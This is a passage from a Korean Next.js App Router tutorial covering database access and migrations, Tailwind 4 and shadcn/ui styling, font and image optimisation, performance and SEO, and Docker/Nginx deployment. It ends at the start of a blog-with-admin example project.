트랜잭션 모드 풀러에서는 prepared statement 가 안 됩니다. ?pgbouncer=true(Prisma) 나 드라이버 옵션 { prepare: false }(postgres.js)를 빠뜨리면 배포하자마자 알 수 없는 에러가 쏟아집니다. 아주 흔한 사고입니다.

N+1 — 서버 컴포넌트에서 더 잘 생깁니다

// ❌ 목록 20개 × 작성자 조회 1번 = 쿼리 21번
export default async function Page() {
  const posts = await db.post.findMany({ take: 20 });
  return posts.map((p) => <Row key={p.id} post={p} />);
}
async function Row({ post }) {
  const author = await db.user.findUnique({ where: { id: post.authorId } });
  return <li>{post.title} — {author.name}</li>;
}

// ✅ 한 번에 조인해서 가져오기
const posts = await db.post.findMany({
  take: 20,
  include: { author: { select: { name: true } } },
});

// ✅ 컴포넌트 분리를 유지하고 싶다면 — 한 렌더 안에서 합쳐집니다(f04)
import { cache } from "react";
export const getAuthor = cache((id: string) =>
  db.user.findUnique({ where: { id } }));
// 같은 작성자가 여러 번 나와도 쿼리는 사람 수만큼만
왜 RSC 에서 더 잘 생기나 — 컴포넌트마다 자기 데이터를 가져오는 게 권장 패턴이기 때문입니다. 편한 만큼 목록 안에서 조회하기 쉬워집니다. 해법은 목록 단위로 한 번에 가져오기 또는 cache()·DataLoader 로 합치기입니다. 개발 서버에서 쿼리 로그를 켜 두면 눈으로 바로 보입니다.

Server Action 안에서의 트랜잭션

"use server";
export async function transfer(fromId: string, toId: string, amount: number) {
  const session = await auth();
  if (!session) throw new Error("로그인이 필요합니다");

  await db.$transaction(async (tx) => {
    const from = await tx.account.update({
      where: { id: fromId },
      data: { balance: { decrement: amount } },
    });
    if (from.balance < 0) throw new Error("잔액 부족");   // ★ 롤백됩니다
    await tx.account.update({
      where: { id: toId },
      data: { balance: { increment: amount } },
    });
  });

  revalidateTag(`account:${fromId}`);
  revalidateTag(`account:${toId}`);
}
트랜잭션 안에서 외부 API 를 부르지 마세요. 결제 승인 같은 느린 호출이 들어가면 DB 잠금이 그동안 유지되어 동시 요청이 쌓입니다. DB 작업만 트랜잭션에 넣고, 외부 호출은 앞뒤로 빼세요.

마이그레이션과 배포 순서

안전한 순서 (무중단 배포 기준)

  ① 열 추가는 nullable 로 · 기본값과 함께
       ALTER TABLE posts ADD COLUMN summary text;
  ② 새 코드 배포 (새 열을 쓰기 시작, 없어도 동작)
  ③ 데이터 백필 (배치로 나눠서)
  ④ NOT NULL 제약 추가
  ⑤ 옛 열은 '두 번의 배포 뒤'에 삭제

★ 절대 하지 말 것
  · 코드 배포와 동시에 열 이름 바꾸기
      → 잠깐이라도 옛 코드와 새 스키마가 만나면 500 폭발
  · 큰 테이블에 인덱스를 그냥 추가
      → CREATE INDEX CONCURRENTLY 를 쓰세요
  · 빌드 스크립트에서 migrate deploy
      → 여러 인스턴스가 동시에 실행합니다. 배포 파이프라인의
        별도 단계 하나에서만 돌리세요
이 순서를 지키는지가 "서비스를 운영해 본 사람"인지를 가릅니다. 스키마 변경은 코드보다 항상 한 발 앞서고, 삭제는 한 발 뒤에 옵니다. Prisma·Drizzle 어느 쪽이든 생성된 SQL 을 눈으로 읽고 배포하세요.
정리 — 서버 컴포넌트와 Server Action 에서 DB 를 직접 부릅니다. ORM 은 Prisma(편함) 또는 Drizzle(가볍고 SQL 에 가까움) 중에서 고르고, lib/db.ts 에는 server-only 와 전역 재사용 관용구를 넣으세요. 서버리스에 배포한다면 풀러 URL + connection_limit=1 또는 HTTP 드라이버가 사실상 필수이고, 목록 안에서 조회하는 N+1 은 include 나 cache() 로 접으세요.
NEXT 10

스타일과 UI — Tailwind 4 · shadcn/ui · 폰트와 이미지

2026년 Next 프로젝트의 기본 조합은 Tailwind CSS 4 + shadcn/ui 입니다. 여기에 next/font 와 next/image 를 얹으면 디자인 작업만 했는데 Core Web Vitals 점수가 같이 올라갑니다 — 그 이유를 봅니다.

Tailwind 4 — 설정이 CSS 안으로 들어왔습니다

npm i tailwindcss @tailwindcss/postcss · create-next-app 에서 고르면 자동
/* app/globals.css  —  Tailwind 4 는 설정 파일이 아니라 CSS 로 씁니다 */
@import "tailwindcss";

@theme {
  --color-brand-50:  oklch(97% 0.02 250);
  --color-brand-500: oklch(62% 0.19 250);
  --font-sans: var(--font-geist), ui-sans-serif, system-ui;
  --radius-card: 12px;
}

/* 다크 모드를 class 로 제어하고 싶을 때 */
@custom-variant dark (&:where(.dark, .dark *));

@layer components {
  .card-lite { @apply rounded-(--radius-card) border p-4; }   /* v4 의 CSS 변수 문법은 ( ) */
}
Tailwind 3Tailwind 4
tailwind.config.js@theme 블록 (CSS 안)
content: 경로 지정자동 탐지
@tailwind base/components@import "tailwindcss" 한 줄
hex · rgb 색oklch 기본 (더 넓은 색역)
PostCSS 플러그인 여럿@tailwindcss/postcss 하나

shadcn/ui — 라이브러리가 아니라 '복사해 오는 코드'

npx shadcn@latest init          # 컴포넌트 경로·색 토큰 설정
npx shadcn@latest add button dialog input table sonner

# 결과: node_modules 가 아니라 내 프로젝트에 파일이 생깁니다
#   src/components/ui/button.tsx
#   src/components/ui/dialog.tsx
  • 내 코드가 되므로 마음대로 고칩니다 — 디자인 시스템이 조금만 달라도 라이브러리를 이겨 내야 했던 문제가 사라집니다
  • 바탕은 Radix UI(접근성·키보드 조작이 이미 되어 있음) + Tailwind 클래스입니다
  • 업데이트가 자동이 아닙니다 — 고친 파일은 내가 관리합니다. 이게 장점이자 단점입니다
  • 대부분 "use client" 컴포넌트입니다 — 페이지 전체를 감싸지 말고 필요한 자리에만 쓰세요(f03)
// CSS Modules 도 그대로 됩니다 (Tailwind 를 안 쓸 때)
// app/posts/post.module.css  →  .title { font-size: 1.4rem }
import s from "./post.module.css";
<h1 className={s.title}>제목</h1>

// 조건부 클래스는 clsx / tailwind-merge 조합이 사실상 표준
import { clsx } from "clsx";
import { twMerge } from "tailwind-merge";
export const cn = (...a: any[]) => twMerge(clsx(a));
디자인 작업이 곧 성능 작업이 되는 두 가지 — next/image 와 next/font 원본 이미지 4000×3000 · 2.4MB next/image sizes · quality · 포맷 협상 AVIF / WebP 800×600 · 46KB 브라우저 자리 미리 확보 구글 폰트 URL 런타임 외부 요청 next/font 빌드 때 받아 자체 호스팅 외부 요청 0 · 글꼴 교체 흔들림 0 대체 폰트 폭을 자동 보정합니다 빠뜨리면 생기는 일 width/height 나 fill 을 안 주면 이미지가 도착할 때 화면이 밀립니다 (CLS 악화) sizes 를 안 주면 모바일에도 데스크톱용 큰 이미지를 내려보냅니다 둘 다 "설정하는 것"이 아니라 "컴포넌트를 쓰기만 하면 되는 것"입니다 — 안 쓸 이유가 없습니다
이미지와 폰트는 대개 페이지 용량의 80%입니다 — 이 두 컴포넌트만 제대로 써도 점수가 달라집니다.

next/font — 한 번 설정하면 끝

// app/layout.tsx
import { Geist } from "next/font/google";
import localFont from "next/font/local";

const geist = Geist({
  subsets: ["latin"],
  display: "swap",
  variable: "--font-geist",        // CSS 변수로 노출
});

// 한글은 용량이 커서 로컬 파일 + 서브셋이 현실적입니다
const pretendard = localFont({
  src: "./fonts/PretendardVariable.woff2",
  display: "swap",
  variable: "--font-kr",
  adjustFontFallback: "Arial",     // 대체 폰트 폭 보정 → CLS 감소
});

export default function RootLayout({ children }) {
  return (
    <html lang="ko" className={`${geist.variable} ${pretendard.variable}`}>
      <body className="font-sans">{children}</body>
    </html>
  );
}
한글 웹폰트는 그냥 넣으면 수 MB 입니다. 가변 폰트 + woff2 + 서브셋(자주 쓰는 글자만) 이 필수이고, display: "swap" 으로 글자가 안 보이는 구간(FOIT)을 없앱니다. <link> 로 구글 폰트를 부르면 외부 도메인 왕복이 첫 화면에 그대로 더해집니다.

next/image — 세 가지만 지키면 됩니다

import Image from "next/image";

// ① 크기를 아는 이미지 — width/height 필수
<Image src="/hero.jpg" alt="첫 화면" width={1200} height={630} priority />
//  priority = 첫 화면에 보이는 큰 이미지에만 (LCP 대상)

// ② 크기를 모르는 이미지 — 부모에 position:relative + fill
<div className="relative aspect-video">
  <Image src={url} alt="" fill className="object-cover"
         sizes="(max-width: 768px) 100vw, 50vw" />
</div>
//  sizes = "이 이미지가 화면에서 차지할 폭" ★ 안 주면 항상 큰 파일

// ③ import 한 이미지는 크기도 흐린 미리보기도 자동
import hero from "./hero.jpg";          // 정적 import 한 로컬 이미지
<Image src={hero} alt="" placeholder="blur" />
// next.config.ts — 외부 이미지는 도메인을 허용해야 합니다
export default {
  images: {
    remotePatterns: [{ protocol: "https", hostname: "cdn.example.com" }],
    formats: ["image/avif", "image/webp"],
  },
};
자체 호스팅에서 이미지 최적화가 느리다면 sharp 가 설치되어 있는지 확인하세요(Node 서버에서는 필수). 트래픽이 크면 이미지 변환은 CDN(Cloudflare Images·imgproxy) 에 넘기고 loader 를 지정하는 편이 서버 CPU 를 아낍니다.

다크 모드 — 깜빡임 없이

// app/providers.tsx
"use client";
import { ThemeProvider } from "next-themes";

export function Providers({ children }: { children: React.ReactNode }) {
  return (
    <ThemeProvider attribute="class" defaultTheme="system" enableSystem>
      {children}
    </ThemeProvider>
  );
}

// app/layout.tsx — suppressHydrationWarning 이 필요한 이유:
// next-themes 가 화면 그리기 전에 <html class="dark"> 를 미리 붙이는데,
// 서버가 만든 HTML 에는 그 class 가 없어서 불일치 경고가 납니다.
<html lang="ko" suppressHydrationWarning>
// 토글 버튼 — 마운트 전에는 렌더하지 않아야 깜빡임이 없습니다
"use client";
const { theme, setTheme } = useTheme();
const [mounted, setMounted] = useState(false);
useEffect(() => setMounted(true), []);
if (!mounted) return <div className="size-9" />;   // 자리만 잡기
return <button onClick={() => setTheme(theme === "dark" ? "light" : "dark")}>…</button>;

스타일 선택 정리

방식App Router 궁합
Tailwind가장 좋습니다 — 빌드 때 CSS 가 확정되어 서버 컴포넌트와 무관
CSS Modules좋습니다 — 그냥 import 하면 됩니다
전역 CSS가능 — 루트 레이아웃에서 한 번
CSS-in-JS
(styled-components 등)
주의 — 런타임이 필요해 "use client" 가 붙습니다. 새 프로젝트에서는 권하지 않습니다
vanilla-extract
Panda CSS
좋습니다 — 빌드 타임에 CSS 를 만듭니다
CSS-in-JS 가 RSC 와 잘 안 맞는 이유 — 스타일을 렌더할 때 계산하기 때문입니다. 서버 컴포넌트는 브라우저에 코드를 보내지 않으므로 그 계산을 할 수가 없고, 결국 "use client" 가 트리 위쪽에 붙어 RSC 의 이점이 사라집니다. 빌드 타임에 CSS 가 확정되는 방식을 고르세요.
정리 — 스타일은 Tailwind 4(설정이 @theme 로 CSS 안에 들어옴) + shadcn/ui(라이브러리가 아니라 내 프로젝트에 복사되는 코드)가 2026년 기본 조합입니다. next/font 로 폰트를 자체 호스팅하면 외부 요청과 글꼴 교체 흔들림이 사라지고, next/image 에 sizes·priority 만 제대로 주면 용량이 수십 분의 일로 줄어듭니다. CSS-in-JS 는 RSC 와 궁합이 나쁩니다.
NEXT 11

성능과 SEO — 측정하고 나서 고칩니다

Next 로 옮겼다고 저절로 빨라지지 않습니다. 어느 층에서 응답되는지와 브라우저로 내려가는 JS 가 얼마인지 두 가지가 전부입니다. SEO 도 마찬가지로 메타데이터 · sitemap · OG 이미지 세 가지가 거의 전부입니다.

응답이 어느 층에서 나오느냐가 체감 속도의 대부분을 정합니다 브라우저 라우터 캐시 · 이미지 CDN 엣지 정적 · ISR 결과 Next 서버 라우트 · 데이터 캐시 렌더 + DB 가장 비쌉니다 네 층을 같은 시간축에 올리면 — 막대의 위치와 길이가 곧 지연입니다 브라우저 거의 0ms — 서버를 안 깨웁니다 CDN 엣지 20~40ms Next 서버 50~150ms 렌더 + DB 200ms 이상 0 50 100 150 200 지연(ms) 정적 페이지 CDN 에서 끝 — 서버를 안 깨움 ISR 페이지 CDN 응답 + 뒤에서 갱신 동적 페이지 매 요청 서버까지 갑니다 핵심 웹 지표 — 2026년에도 이 셋입니다 LCP 2.5초 이하 — 가장 큰 요소가 그려질 때까지 (첫 바이트 · 이미지 · 폰트가 결정) INP 200ms 이하 — 누른 뒤 반응까지 (클라이언트 JS 양) · CLS 0.1 이하 — 화면이 밀리지 않기 캐시를 켜면 LCP · 번들을 줄이면 INP · 크기를 지정하면 CLS — 앞의 모든 절이 이 셋으로 모입니다
성능 개선은 응답을 더 왼쪽 층에서 나오게 만드는 일과 오른쪽으로 내려보내는 JS 를 줄이는 일 둘뿐입니다.

번들 분석 — 무엇이 클라이언트로 갔나

npm i -D @next/bundle-analyzer
// next.config.ts
import withBundleAnalyzer from "@next/bundle-analyzer";

export default withBundleAnalyzer({ enabled: process.env.ANALYZE === "true" })({
  // 나머지 설정
});
ANALYZE=true npx next build --webpack   # 브라우저에 트리맵이 열립니다
#  (이 플러그인은 webpack 전용 — Next 16 의 기본 Turbopack 빌드에서는 동작하지 않습니다)

# 자주 발견되는 범인
#  · moment / date-fns 전체   → dayjs 나 Intl.DateTimeFormat 로
#  · lodash 통째 import       → import get from "lodash/get"
#  · 차트·에디터·지도          → dynamic(..., { ssr:false })
#  · 아이콘 라이브러리 전체    → 쓰는 것만 개별 import
#  · "use client" 가 상위에    → 경계를 아래로 내리기 (f03)
// 무거운 것은 필요할 때만 내려받게
import dynamic from "next/dynamic";
const Editor = dynamic(() => import("@/components/editor"), {
  ssr: false,
  loading: () => <div className="h-96 animate-pulse rounded bg-neutral-800" />,
});

// 클릭한 뒤에 부르는 방식도 있습니다 (진짜로 쓸 때만)
const onExport = async () => {
  const { utils, writeFile } = await import("xlsx");   // 300KB
  // …
};

메타데이터 — 정적과 동적

// 정적 — 값이 고정된 페이지
export const metadata: Metadata = {
  title: "요금제",
  description: "간단한 요금제 안내",
  alternates: { canonical: "https://example.com/pricing" },
};

// 동적 — 데이터에서 만들어야 하는 페이지
export async function generateMetadata(
  { params }: { params: Promise<{ slug: string }> },
): Promise<Metadata> {
  const { slug } = await params;
  const post = await getPost(slug);          // ★ page 와 중복 호출 걱정 없음
  if (!post) return { title: "찾을 수 없는 글" };  //    (요청 메모이제이션, f04)

  return {
    title: post.title,
    description: post.summary,
    openGraph: {
      title: post.title,
      description: post.summary,
      type: "article",
      publishedTime: post.createdAt.toISOString(),
      images: [{ url: `/posts/${slug}/opengraph-image` }],
    },
    twitter: { card: "summary_large_image" },
  };
}
루트 레이아웃의 title.template 을 정해 두면 하위 페이지는 title: "요금제" 만 적어도 "요금제 · 내 서비스" 가 됩니다. metadataBase 를 설정하면 상대 경로 이미지 URL도 절대 경로로 바뀝니다.

공유 카드 — OG 이미지를 코드로 만들기 🟡 중급

ImageResponse

// app/posts/[slug]/opengraph-image.tsx
import { ImageResponse } from "next/og";

export const size = { width: 1200, height: 630 };
export const contentType = "image/png";
export const alt = "글 공유 이미지";

export default async function OG({ params }: { params: Promise<{ slug: string }> }) {
  const { slug } = await params;            // Next 16 — 여기 params 도 Promise
  const post = await getPost(slug);

  return new ImageResponse(
    (
      <div style={{
        display: "flex", flexDirection: "column", justifyContent: "center",
        width: "100%", height: "100%", padding: 72,
        background: "linear-gradient(135deg,#0f172a,#334155)", color: "white",
      }}>
        <div style={{ fontSize: 30, opacity: 0.7 }}>내 블로그</div>
        <div style={{ fontSize: 64, fontWeight: 700, marginTop: 16 }}>
          {post.title}
        </div>
      </div>
    ),
    { ...size },
  );
}
여기서 쓸 수 있는 CSS 는 아주 좁습니다. display: flex 와 절대 위치 정도이고, 자식이 둘 이상이면 display 를 명시해야 합니다. 한글이 네모로 나오면 폰트를 직접 넣어야 합니다 — fonts: [{ name, data, weight }] 옵션에 woff 버퍼를 넘기세요.

SEO 체크리스트

항목확인
<html lang="ko">루트 레이아웃에 있는지
제목·설명페이지마다 다른 값인지
canonical같은 내용의 주소가 여러 개면 필수
sitemap.ts·robots.tsf07 참고 — 파일 하나면 끝
구조화 데이터JSON-LD 를 <script type="application/ld+json"> 로
404·리다이렉트사라진 주소는 301 로 새 주소에
이미지 alt비어 있으면 검색·접근성 모두 손해
// 구조화 데이터 — 검색 결과에 별점·작성자가 붙는 근거
export default async function Post({ params }) {
  const post = await getPost((await params).slug);
  const ld = {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    headline: post.title,
    datePublished: post.createdAt.toISOString(),
    author: { "@type": "Person", name: post.author.name },
  };
  return (
    <>
      <script type="application/ld+json"
        dangerouslySetInnerHTML={{ __html: JSON.stringify(ld).replace(/</g, "\\u003c") }} />
      {/* ↑ 제목에 </script> 가 들어 있어도 태그가 닫히지 않게 */}
      <article>…</article>
    </>
  );
}
배포 전 5분 점검 — 빌드한 페이지를 curl -s https://example.com/posts/x | head -50 로 받아 제목과 본문이 HTML 안에 실제로 들어 있는지 눈으로 확인하세요. 이게 안 보이면 SEO 작업 전부가 무의미합니다.

실무에선 이렇게 — 측정 도구와 처방 순서 🔴 실무

증상어디서 확인처방 (순서대로)
첫 화면이 늦다 (LCP)Lighthouse · next build 표 ① 그 페이지가 ƒ(동적)인지 확인 → 정적/ISR 로
② 첫 화면 이미지에 priority
③ 느린 데이터를 Suspense 로 분리(f06)
눌러도 반응이 없다 (INP)DevTools Performance ① 번들 분석으로 큰 덩어리 찾기
② "use client" 경계를 아래로(f03)
③ 무거운 컴포넌트를 dynamic 으로
화면이 덜컹인다 (CLS)Lighthouse ① 이미지에 width/height 또는 fill
② 스켈레톤을 실제 크기로
③ 폰트에 adjustFontFallback(f10)
서버가 바쁘다배포 플랫폼 지표 · 로그 ① 캐시 적중률 확인(f04)
② 미들웨어 matcher 점검(f07)
③ N+1 쿼리 확인(f09)
빌드가 오래 걸린다빌드 로그 ① generateStaticParams 목록 줄이기
② Turbopack 빌드 사용
③ CI 에 .next/cache 캐싱(f12)
// 실제 사용자 지표를 수집하기 — 실험실 점수보다 이쪽이 진실입니다
"use client";
import { useReportWebVitals } from "next/web-vitals";

export function Vitals() {
  useReportWebVitals((m) => {
    navigator.sendBeacon("/api/vitals", JSON.stringify({
      name: m.name, value: m.value, id: m.id, path: location.pathname,
    }));
  });
  return null;
}
Lighthouse 점수를 올리는 것이 목표가 아닙니다. 개발 서버에서 잰 점수는 의미가 없고(항상 나쁩니다), 실험실 점수와 실제 사용자 경험은 자주 어긋납니다. npm run build && npm run start 로 잰 값과 실사용자 지표(RUM)를 함께 보세요.
정리 — 성능은 "어느 층에서 응답되나"와 "JS 를 얼마나 내려보내나" 둘로 요약됩니다. ANALYZE=true npm run build 로 번들을 보고, 무거운 것은 dynamic 으로 미루고, "use client" 경계를 아래로 내리세요. SEO 는 generateMetadata · sitemap.ts · OG 이미지 세 가지가 거의 전부이고, 확인은 배포된 HTML 을 curl 로 받아 눈으로 하는 것이 가장 확실합니다.
NEXT 12

배포 — Vercel 과 자체 호스팅, 양쪽 다

Next 는 Vercel 이 만들었지만 어디에나 배포할 수 있습니다. output: "standalone" 한 줄이면 Docker 이미지 하나로 끝납니다. 다만 Vercel 이 공짜로 해 주던 일들을 직접 챙겨야 하는데, 그게 무엇인지가 이 절의 핵심입니다.

next build 가 만드는 것과, 그것을 어디에 올릴 것인가 next build · 타입 검사 · 번들링(Turbopack) · 정적 페이지 생성 .next/static — CDN 으로 올림 .next/server — 서버가 실행 미리 만든 HTML · RSC 페이로드 output: "standalone" .next/standalone/server.js 필요한 node_modules 만 복사 도커 이미지 1.2GB → 200MB ① Vercel — 밀어 넣으면 끝 git push 마다 배포 · PR 미리보기 URL ISR · 이미지 최적화 · 엣지 CDN 기본 제공 대가 — 벤더 종속 · 트래픽 요금 ② 자체 호스팅 (Docker) standalone + node server.js Nginx 리버스 프록시 · 무중단 교체 대가 — ISR 공유 캐시를 직접 설정 인스턴스가 둘 이상이면 ISR 결과를 공유해야 합니다 — 아니면 인스턴스마다 다른 화면이 나옵니다 Next 16 의 배포 어댑터가 이 간극을 줄이는 방향이지만, 지금은 캐시 핸들러를 직접 지정하는 것이 확실합니다
"Vercel 없이 못 쓴다"는 오해입니다 — 다만 ISR 공유 캐시와 이미지 최적화는 직접 챙겨야 합니다.

환경 변수 — NEXT_PUBLIC_ 규칙

# .env.local  (git 에 올리지 않습니다)
DATABASE_URL=postgres://...          # 서버에서만 보입니다
AUTH_SECRET=...                      # 서버에서만
NEXT_PUBLIC_SITE_URL=https://example.com   # ★ 브라우저 번들에 '박힙니다'

# 읽히는 순서 (뒤가 이깁니다)
#   .env  →  .env.production  →  .env.local  →  실제 환경 변수
규칙결과
NEXT_PUBLIC_ 없음서버 코드에서만 값이 있고, 클라이언트에서는 undefined
NEXT_PUBLIC_ 있음빌드 시점에 문자열로 치환되어 번들에 박힙니다
런타임에 바꾸고 싶다안 됩니다 — 다시 빌드해야 합니다
// 환경 변수를 스키마로 검증 — 배포 후에 발견하지 말 것
// lib/env.ts
import { z } from "zod";

export const env = z.object({
  DATABASE_URL: z.string().url(),
  AUTH_SECRET: z.string().min(32),
  NEXT_PUBLIC_SITE_URL: z.string().url(),
}).parse(process.env);
// 빠뜨린 채 빌드하면 '빌드가 실패'합니다 ★ 이게 목적입니다
도커에서 가장 많이 겪는 사고 — NEXT_PUBLIC_* 는 빌드 때 박히므로 docker run -e 로 넘겨도 바뀌지 않습니다. --build-arg 로 빌드 단계에 넣거나, 런타임에 바뀌어야 하는 값은 서버에서 읽어 props 로 내려보내세요.

Dockerfile — 그대로 복사해 쓰세요

// next.config.ts
export default { output: "standalone" };
# syntax=docker/dockerfile:1
FROM node:24-alpine AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci

FROM node:24-alpine AS builder
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
# ★ 빌드 때 필요한 공개 변수 (Dockerfile 은 줄 끝 주석을 지원하지 않습니다)
ARG NEXT_PUBLIC_SITE_URL
ENV NEXT_TELEMETRY_DISABLED=1
RUN npm run build

FROM node:24-alpine AS runner
WORKDIR /app
ENV NODE_ENV=production PORT=3000 HOSTNAME=0.0.0.0
RUN addgroup -g 1001 nodejs && adduser -u 1001 -G nodejs -S nextjs

COPY --from=builder /app/public ./public
COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./
COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static

USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
.dockerignore 를 꼭 만드세요 — node_modules·.next·.git·.env* 를 제외하지 않으면 빌드 컨텍스트가 수백 MB 로 불고 비밀 파일이 이미지에 들어갑니다.

자체 호스팅에서 직접 챙겨야 하는 것들 🔴 실무

Nginx 리버스 프록시

upstream nextapp { server 127.0.0.1:3000; keepalive 32; }

server {
  listen 443 ssl http2;
  server_name example.com;

  # 정적 자산은 Nginx 가 직접 — 해시가 붙어 있어 영구 캐시 가능
  location /_next/static/ {
    alias /srv/app/.next/static/;
    expires 1y;
    add_header Cache-Control "public, immutable";
  }

  location / {
    proxy_pass http://nextapp;
    proxy_http_version 1.1;
    proxy_set_header Host              $host;
    proxy_set_header X-Real-IP         $remote_addr;
    proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;   # ★ 없으면 https 인식 실패
    proxy_set_header Upgrade           $http_upgrade;
    proxy_set_header Connection        "upgrade";
    proxy_buffering off;                          # ★ 스트리밍이 끊기지 않게
  }
}
proxy_buffering off 를 빠뜨리면 f06 의 스트리밍이 전부 모였다가 한 번에 나갑니다 — Suspense 를 열심히 붙여 놓고 효과가 0 이 되는 흔한 사고입니다. X-Forwarded-Proto 가 없으면 쿠키의 Secure 판단이 어긋나 로그인이 안 됩니다.

ISR 공유 캐시 · 빌드 캐시 · 관측

// 인스턴스가 여러 개면 ISR 결과를 공유해야 합니다
// next.config.ts
export default {
  output: "standalone",
  cacheHandler: require.resolve("./cache-handler.mjs"),  // Redis 등
  cacheMaxMemorySize: 0,                                  // 메모리 캐시 끄기
};
// 안 하면: 인스턴스 A 는 새 글, B 는 옛 글 — 새로고침마다 화면이 바뀝니다
# GitHub Actions — .next/cache 를 캐싱하면 빌드가 크게 빨라집니다
- uses: actions/cache@v4
  with:
    path: |
      ~/.npm
      ${{ github.workspace }}/.next/cache
    key: next-${{ hashFiles('**/package-lock.json') }}-${{ hashFiles('**/*.ts','**/*.tsx') }}
    restore-keys: next-${{ hashFiles('**/package-lock.json') }}-
// 로그 — 구조화해서 남기면 검색이 됩니다
import pino from "pino";
export const log = pino({ level: process.env.LOG_LEVEL ?? "info" });

// instrumentation.ts — 서버가 뜰 때 한 번 실행됩니다 (OpenTelemetry 등)
export async function register() {
  if (process.env.NEXT_RUNTIME === "nodejs") {
    await import("./instrumentation.node");   // Sentry · OTel 초기화
  }
}
헬스체크 엔드포인트를 하나 만들어 두세요 — app/api/health/route.ts 에서 DB 에 select 1 까지 확인하면 무중단 배포와 오토스케일링이 "떴지만 DB 를 못 보는 인스턴스"에 트래픽을 보내는 사고를 막습니다.

배포 전 체크리스트

항목확인 방법
빌드가 로컬에서 성공npm run build && npm run start 로 프로덕션 모드 확인
페이지 전략이 의도대로빌드 출력표에서 ○ ● ƒ 기호 확인(f06)
환경 변수 전부 있음lib/env.ts 의 zod 검증이 통과하는지
비밀이 클라이언트에 없음grep -r "SECRET" .next/static 로 실제로 확인
DB 마이그레이션 순서배포 파이프라인의 별도 단계에서만 실행(f09)
이미지 도메인 허용remotePatterns 누락 시 배포 후에 깨집니다
에러 페이지error.tsx·not-found.tsx·global-error.tsx
보안 헤더next.config 의 headers() 또는 Nginx 에서
next dev 에서만 테스트하고 배포하지 마세요. 개발 서버는 캐시를 거의 쓰지 않고, 서버 컴포넌트를 매번 새로 실행하며, generateStaticParams 도 돌지 않습니다. 배포에서 처음 나타나는 버그의 대부분이 이 차이에서 옵니다 — 최소한 한 번은 build && start 로 확인하세요.
정리 — Vercel 은 git push 로 끝이고, 자체 호스팅은 output: "standalone" + Docker + Nginx 조합이 정석입니다. 직접 챙길 것은 ISR 공유 캐시(cacheHandler) · 이미지 최적화(sharp) · proxy_buffering off 셋입니다. NEXT_PUBLIC_ 변수는 빌드 시점에 박히므로 런타임에 못 바꾸고, 환경 변수는 zod 로 검증해 빌드에서 걸러 내세요.
NEXT 13

실전 프로젝트 — 블로그 + 관리자를 끝까지

앞의 열두 절을 하나로 잇습니다. 공개 블로그(ISR) + 로그인 관리자(동적) 한 벌을 App Router · RSC · Server Action · Auth.js · Drizzle · Docker 로 만들고 배포합니다. 여기 있는 코드는 순서대로 따라 하면 실제로 도는 것만 담았습니다.

완성본에서 조각들이 실제로 이어지는 모습 읽기 — 방문자 방문자 /posts/hello CDN (ISR) 1시간 캐시 page.tsx (RSC) 서버에서 렌더 Drizzle select Postgres Neon 쓰기 — 관리자 관리자 글쓰기 폼 middleware 쿠키 확인 Server Action zod 검증 auth() role=admin insert 트랜잭션 revalidateTag("posts") 액션 마지막 줄 라우트 캐시 무효화 CDN 결과도 함께 다음 방문자가 새 글을 다시 1시간 캐시 읽기는 거의 서버까지 오지 않고, 쓰기는 반드시 액션 안에서 권한을 다시 검사합니다 이 두 줄이 이 탭 전체의 요약입니다 — 캐시를 길게 잡고, 바뀔 때 태그로 지웁니다
읽기는 CDN 에서 끝, 쓰기는 액션 하나로 저장 + 캐시 무효화 — 이것이 App Router 의 완성형입니다.

① 폴더 구조

my-blog/
  src/
    app/
      layout.tsx                 폰트 · 전역 CSS · Providers
      globals.css
      not-found.tsx
      (blog)/                    ← 공개 (라우트 그룹)
        layout.tsx               헤더 + 푸터
        page.tsx                 글 목록      ISR 1시간
        posts/[slug]/
          page.tsx               글 상세      ISR 1시간
          opengraph-image.tsx    공유 카드
      (admin)/
        layout.tsx               사이드바 (세션 확인)
        admin/
          page.tsx               글 관리 목록  동적
          posts/new/page.tsx     글쓰기
          posts/[id]/edit/page.tsx
      login/page.tsx
      api/auth/[...nextauth]/route.ts
      sitemap.ts   robots.ts
    components/ui/               shadcn
    db/
      index.ts   schema.ts
    lib/
      env.ts   utils.ts
    features/posts/
      actions.ts                 "use server"
      queries.ts                 읽기 전용 쿼리
      schema.ts                  zod 스키마
      post-form.tsx              "use client"
    auth.ts
    middleware.ts
  drizzle/                       마이그레이션 SQL
  Dockerfile   .dockerignore
  next.config.ts   drizzle.config.ts
기능 폴더(features/posts)에 액션·쿼리·스키마·폼을 모으는 것이 요령입니다. 리액트 탭의 features/ 구조가 그대로 이어지고, 라우트 폴더에는 화면만 남아 App Router 트리가 읽기 쉬워집니다.

② 스키마와 DB

// src/db/schema.ts
import { pgTable, serial, text, boolean, timestamp, index } from "drizzle-orm/pg-core";

export const users = pgTable("users", {
  id: text("id").primaryKey(),
  email: text("email").notNull().unique(),
  passwordHash: text("password_hash").notNull(),
  role: text("role").notNull().default("user"),
});

export const posts = pgTable("posts", {
  id: serial("id").primaryKey(),
  slug: text("slug").notNull().unique(),
  title: text("title").notNull(),
  body: text("body").notNull(),
  published: boolean("published").notNull().default(false),
  authorId: text("author_id").notNull().references(() => users.id),
  createdAt: timestamp("created_at").notNull().defaultNow(),
  updatedAt: timestamp("updated_at").notNull().defaultNow(),
}, (t) => [index("posts_pub_created_idx").on(t.published, t.createdAt)]);

export type Post = typeof posts.$inferSelect;
// src/db/index.ts
import "server-only";
import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";
import * as schema from "./schema";
import { env } from "@/lib/env";

export const db = drizzle(neon(env.DATABASE_URL), { schema });
npx drizzle-kit generate      # drizzle/0000_xxx.sql 생성
npx drizzle-kit migrate       # 적용

③ 읽기 — 목록과 상세 (ISR + 태그)

// src/features/posts/queries.ts
import "server-only";
import { unstable_cache } from "next/cache";
import { db } from "@/db";
import { posts } from "@/db/schema";
import { desc, eq, and } from "drizzle-orm";

export const listPublished = unstable_cache(
  async () =>
    db.select().from(posts)
      .where(eq(posts.published, true))
      .orderBy(desc(posts.createdAt)).limit(50),
  ["posts-list"],
  { revalidate: 3600, tags: ["posts"] },
);

